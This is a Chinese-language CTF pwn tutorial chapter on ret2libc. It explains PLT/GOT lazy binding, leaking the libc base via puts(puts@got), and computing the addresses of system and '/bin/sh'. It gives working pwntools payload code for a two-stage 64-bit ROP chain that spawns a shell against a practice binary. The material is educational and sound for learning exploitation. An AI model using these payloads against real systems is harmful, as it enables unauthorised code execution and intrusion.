第三章 ret2libc 与动态链接:PLT/GOT 表机制、泄露 libc 基址、计算 system 地址、构造 ret2libc 攻击

好,咱们进入第三章。这一章是 Pwn 入门的分水岭——ret2libc。

为什么说它是分水岭?因为之前的 ret2shellcode 太理想了。你想想看,真实环境里 NX 保护几乎是标配,栈上不能执行代码,那你的 shellcode 写得再漂亮也没用。我早年打 CTF 时就在这上面栽过跟头,以为拿到控制流就万事大吉,结果被 NX 一巴掌拍回来。

ret2libc 的思路很简单:既然栈上不能执行,那我们就用程序已有的代码。libc 里什么都有——system、execve、/bin/sh 字符串,我们只需要把它们串起来。

3.1 动态链接与 PLT/GOT 表

要理解 ret2libc,必须先搞懂动态链接机制。说白了,就是程序运行时才把函数地址绑定进来。

我刚开始学的时候,总觉得 PLT 和 GOT 很玄乎。其实没那么复杂,我画个图你就明白了。

核心概念速览

  • PLT(过程链接表):一段存根代码,负责跳转到 GOT 表项或触发动态链接器解析
  • GOT(全局偏移表):存放函数实际地址的数据表,初始指向 PLT 解析代码
  • 延迟绑定:函数第一次调用时才解析地址,之后直接查 GOT
PLT/GOT 调用流程 call puts@plt PLT 存根 GOT 表项 动态链接器 libc 中 puts ① 调用 ② 跳转 ③ 首次:解析 ④ 查找地址 ⑤ 后续:直接调用 关键点: • 首次调用:PLT → GOT(指向 PLT 下一指令)→ 动态链接器 → 解析 → 写入 GOT • 后续调用:PLT → GOT(已指向 libc)→ 直接执行函数

这张图你得刻在脑子里。攻击的核心在于:GOT 表项里存的是 libc 函数的真实地址。如果我们能读出这个地址,就能算出 libc 基址,进而算出 system 的地址。

实战技巧:我个人习惯用 readelf -r 查看可执行文件的重定位表,确认哪些函数有 GOT 表项。另外,objdump -d 看 PLT 段也很直观。

3.2 泄露 libc 基址

好,现在问题来了:怎么拿到 libc 基址?

思路其实很直接——利用程序本身的输出函数。比如 puts、printf、write,它们都会把数据打印到终端。我们只需要让程序调用 puts(puts@got),就能把 puts 在 libc 中的地址打印出来。

具体步骤是这样的:

  1. 覆盖返回地址,控制程序流
  2. 调用 puts(puts@got),泄露 GOT 表项内容
  3. 接收泄露的地址,计算 libc 基址
  4. 返回到 main 函数,进行第二次攻击

我举个例子,假设目标程序是 64 位 x86_64 架构:

# 第一步:泄露 puts 地址
payload = b'A' * offset          # 填充到返回地址
payload += p64(pop_rdi_ret)      # 设置 rdi = puts@got
payload += p64(puts_got)         # puts@got 地址
payload += p64(puts_plt)         # 调用 puts 打印
payload += p64(main_addr)        # 返回 main 重新执行

# 第二步:接收并计算
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

踩坑提醒:我曾经在 64 位程序上忘了考虑 pop rdi; ret 这个 gadget。x86_64 传参用寄存器,rdi 就是第一个参数。没有这个 gadget,你传不了参。用 ROPgadget --binary vuln | grep "pop rdi" 找一下。

3.3 计算 system 地址与 /bin/sh 字符串

拿到 libc 基址后,剩下的就是算术题了。

符号 含义 计算方式
libc_base libc 加载基址 leaked_addr - libc.symbols['func']
system_addr system 函数地址 libc_base + libc.symbols['system']
bin_sh_addr "/bin/sh" 字符串地址 libc_base + next(libc.search(b'/bin/sh'))

这里有个细节:不同版本的 libc,符号偏移不一样。我建议你用 libc-database 或者 pwntools 自带的 libc 对象来查。

我的习惯做法:

  • 本地调试时,用 ldd vuln 看 libc 路径,然后 readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
  • 远程 CTF 时,泄露两个函数地址(比如 puts 和 write),用 libc-database 匹配版本
  • 用 pwntools 的 ELF('./libc.so.6') 加载 libc,直接取符号偏移

3.4 构造 ret2libc 攻击载荷

现在万事俱备,只欠东风。我们把第二次攻击的 payload 拼起来:

# 第二次攻击:调用 system("/bin/sh")
payload2 = b'A' * offset
payload2 += p64(pop_rdi_ret)     # 设置 rdi = "/bin/sh"
payload2 += p64(bin_sh_addr)     # "/bin/sh" 地址
payload2 += p64(ret_gadget)      # 栈对齐(64位需要)
payload2 += p64(system_addr)     # 调用 system

io.sendline(payload2)
io.interactive()

等等,为什么中间插了个 ret_gadget?

这是 x86_64 的一个坑。System V ABI 要求栈 16 字节对齐,而 system 内部会调用 do_system,如果栈没对齐,就会 crash。加一个多余的 ret 指令,相当于把栈指针再推 8 字节,对齐就解决了。我当年第一次写 ret2libc 时没注意这个,调试了一下午才发现是栈对齐的问题。

快速检查栈对齐:在 gdb 里用 stack 命令看 rsp 的值,如果 rsp % 16 == 0 就是对齐的。或者直接用 gdb-peda 的 checksec 和 pattern 功能。

3.5 完整攻击流程总结

来,我们把整个流程串一遍:

  1. 信息收集:确定 offset、PLT/GOT 地址、找 pop rdi gadget
  2. 第一次攻击:泄露 puts@got,得到 libc 基址
  3. 计算地址:算出 system 和 /bin/sh 的地址
  4. 第二次攻击:调用 system("/bin/sh"),拿到 shell

说起来就四步,但每一步都有坑。我建议你动手写一遍,用 pwntools 的 gdb.attach() 调试,单步跟踪看看 GOT 表项的变化。亲眼看到 GOT 从指向 PLT 变成指向 libc,那种感觉比看十遍文档都管用。

常见错误:

  • 忘记处理输出中的换行符,导致 u64 解析出错
  • libc 版本不匹配,算出来的地址不对
  • 64 位程序忘记栈对齐
  • 第二次攻击没有返回到 main,导致程序退出